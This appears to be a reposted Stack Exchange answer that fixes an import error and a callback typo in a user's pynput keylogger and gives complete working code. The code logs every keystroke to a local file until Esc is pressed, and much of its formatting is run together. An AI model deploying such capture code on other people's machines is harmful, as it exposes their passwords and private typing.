ImportError:无法从pynput.keyboard导入key的问题求助
ImportError: cannot import name 'key' from 'pynput.keyboard' Hey there! No need to apologize at all—small typos and import mix-ups happen to every developer. Let’s break down what’s going wrong and fix your keylogger script step by step.
1. The Root Cause of the Import Error
The error pops up because you’re trying to import key (lowercase) from pynput.keyboard, but the actual class in the library is Key (uppercase). The pynput module doesn’t expose a lowercase key object, hence the import failure.
2. Key Fixes for Your Script
Here are all the issues in your code and how to fix them:
Correct the Import Statement
Replace the lowercasekeywith uppercaseKey:from pynput.keyboard import Key, Listener # Fixed: 'key' → 'Key'Fix the Callback Function Typo
You misspelledon_releaseason_realease—this will cause the Listener to fail to recognize the release callback. Also, make sure you’re using the uppercaseKey.escto check for the escape key:def on_release(key): # Fixed: 'on_realease' → 'on_release' if key == Key.esc: return FalseUpdate the Key Logging Logic
Your currentwrite_filefunction isn’t being called, and it won’t handle special keys (like spaces or enter) correctly. Here’s a revised version that captures keys, handles special characters, and appends to the log file instead of overwriting it:def on_press(key): global keys, count keys.append(key) count += 1 print("{0} pressed".format(key)) # Write to file every 10 keys (adjust as needed) if count >= 10: count = 0 write_file(keys) keys = [] def write_file(keys): with open("log.txt", "a") as f: # Use 'a' to append instead of overwrite for key in keys: # Convert key to string and clean up special characters k = str(key).replace("'", "") if k == "Key.space": f.write(" ") elif k == "Key.enter": f.write("\n") elif k.startswith("Key"): f.write(f"[{k}]") else: f.write(k)
3. Full Corrected Code
Putting it all together, here’s the working version of your script:
from pynput.keyboard import Key, Listener count = 0 keys = [] def on_press(key): global keys, count keys.append(key) count += 1 print("{0} pressed".format(key)) if count >= 10: count = 0 write_file(keys) keys = [] def write_file(keys): with open("log.txt", "a") as f: for key in keys: k = str(key).replace("'", "") if k == "Key.space": f.write(" ") elif k == "Key.enter": f.write("\n") elif k.startswith("Key"): f.write(f"[{k}]") else: f.write(k) def on_release(key): if key == Key.esc: # Write any remaining keys before exiting write_file(keys) return False with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()
4. Double-Check Your pynput Installation
If you still run into issues, make sure you have the latest version of pynput installed. You can update it with this command:
pip install --upgrade pynput
内容的提问来源于stack exchange,提问作者RichardNeedsHelp

